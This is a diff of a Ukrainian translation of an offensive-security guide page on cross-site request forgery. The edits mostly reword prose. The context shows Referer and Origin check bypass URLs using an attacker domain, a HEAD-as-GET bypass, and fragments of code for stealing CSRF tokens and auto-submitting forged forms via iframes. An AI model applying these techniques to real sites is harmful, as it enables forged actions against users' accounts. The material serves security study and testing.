Можна реалізувати кілька контрзаходів для захисту від атак CSRF: -- [**SameSite cookies**](hacking-with-cookies/#samesite): Цей атрибут запобігає браузеру відправляти куки разом із запитами з інших сайтів. [Більше про куки SameSite](hacking-with-cookies/#samesite). +- [**SameSite cookies**](hacking-with-cookies/#samesite): Цей атрибут запобігає браузеру від надсилання куків разом із запитами з інших сайтів. [Більше про куки SameSite](hacking-with-cookies/#samesite). - [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS сайту жертви може вплинути на здійсненність атаки, особливо якщо атака вимагає читання відповіді з сайту жертви. [Дізнайтеся про обходи CORS](cors-bypass.md). - **Перевірка користувача**: Запит на введення пароля користувача або розв'язання капчі може підтвердити наміри користувача. -- **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак, ретельне складання URL може обійти погано реалізовані перевірки, такі як: +- **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак, ретельне формування URL може обійти погано реалізовані перевірки, такі як: - Використання `http://mal.net?orig=http://example.com` (URL закінчується на надійний URL) - Використання `http://example.com.mal.net` (URL починається з надійного URL) - **Зміна імен параметрів**: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам. @@ -146,7 +146,7 @@ form.submit() **Уникайте заголовка Referrer** -Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти браузеру від надсилання цього заголовка, можна використовувати наступний HTML мета-тег: +Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використовувати наступний HTML мета-тег: ```xml ``` @@ -158,7 +158,7 @@ form.submit() ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -Щоб встановити доменне ім'я сервера в URL, який Referrer буде надсилати всередині параметрів, ви можете зробити: +Щоб встановити доменне ім'я сервера в URL, який Referrer буде надсилати в параметрах, ви можете зробити: ```html @@ -189,7 +189,7 @@ document.forms[0].submit() ``` ### **Обхід методу HEAD** -У першій частині [**цього CTF звіту**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснюється, що [джерело Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), маршрутизатор налаштований на **обробку запитів HEAD як запитів GET** без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто **передають обробнику GET, але додаток просто видаляє тіло відповіді**. +У першій частині [**цього CTF звіту**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснюється, що [джерело Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), маршрутизатор, налаштований на **обробку запитів HEAD як запитів GET** без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто **передають обробнику GET, але додаток просто видаляє тіло відповіді**. Отже, якщо запит GET обмежений, ви можете просто **надіслати запит HEAD, який буде оброблений як запит GET**. @@ -397,7 +397,7 @@ document.getElementById("formulario").submit() ``` -### **Вкрасти CSRF токен і надіслати POST запит** +### **Викрасти CSRF токен і надіслати POST запит** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -472,7 +472,7 @@ style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"> ``` -### **Вкрасти CSRF токен і надіслати POST запит за допомогою iframe та форми** +### **Викрадення токена CSRF та надсилання POST-запиту за допомогою iframe та форми** ```html